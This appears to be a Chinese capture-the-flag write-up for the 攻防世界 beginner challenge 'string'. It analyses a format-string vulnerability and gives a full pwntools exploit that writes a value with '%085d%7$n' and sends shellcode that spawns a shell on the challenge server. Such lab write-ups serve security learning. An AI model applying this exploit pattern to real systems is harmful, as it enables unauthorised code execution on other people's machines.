攻防世界 新手区string

攻防世界 新手区 string

0x00 函数分析

基本信息

[*] '/home/ububtu/ctf/string'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

64位,开启了Canary和NX保护, RELRO。

载入IDA,分析逻辑,进入函数sub_400D72(),有三个函数, sub_400A7D();
sub_400BB9(); sub_400CA6((_DWORD *)a1);

函数sub_400BB9();

攻防世界 新手区string_第1张图片

存在格式化字符串漏洞,可以进行任意地址写。

函数sub_400CA6((_DWORD *)a1)

攻防世界 新手区string_第2张图片
攻防世界 新手区string_第3张图片

((void (__fastcall *)(_QWORD, void *))v1)(0LL, v1);

这条指令将v1强制转化为函数指针类型,再汇编代码中可以看到,转化后调用;

执行这条语句的条件是*a1 == a1[1],a1为传入的参数,回溯发现a1即函数sub_400D72传入的v4,而v4 = (__int64)v3,其中

*v3 = 68;   #即v3[0] = 68;
v3[1] = 85;

即要令a1 == a1[1],则需要v3 == v3[1]。需要修改v3[0]为85

而v3[0]的地址则在,main函数内可得到

攻防世界 新手区string_第4张图片

0x01 漏洞利用

根据程序流程执行输入,函数sub_400A7D()中注意输入east即可跳出;进入函数sub_400BB9()。

在64位程序函数调用约定,前六个参数从左到右放入RDI, RSI, RDX, ECX, R8, R9中,利用格式化字符串漏洞,进入脆弱点,写入shellcode。

所以从n = 7开始,我们可以修改栈中的数据为85。
可参考博客
https://blog.csdn.net/xkj2010yj/article/details/104648885?depth_1-utm_source=distribute.pc_relevant.none-task-blog-OPENSEARCH-1&utm_source=distribute.pc_relevant.none-task-blog-OPENSEARCH-1

0x02 exp

from pwn import *
#sh = process('./string')
sh=remote('111.198.29.45',41867)
#context.log_level = 'debug'

sh.recvuntil('secret[0] is ')
v3_addr = int(sh.recvuntil("\n"),16)
print(v3_addr)
sh.recvuntil('name be:')
sh.sendline('aaa')
sh.recvuntil('east or up?:')
sh.sendline('east')
sh.recvuntil('leave(0)?:')
sh.sendline('1')

sh.recvuntil('\'Give me an address\'')
sh.sendline(str(v3_addr))

sh.recvuntil('you wish is:')
payload = '%085d' + '%7$n'
sh.sendline(payload)

sh.recvuntil('I will help you! USE YOU SPELL')
sh.sendline(asm(shellcraft.amd64.linux.sh(),arch="amd64"))
sh.interactive()

你可能感兴趣的:(ctf)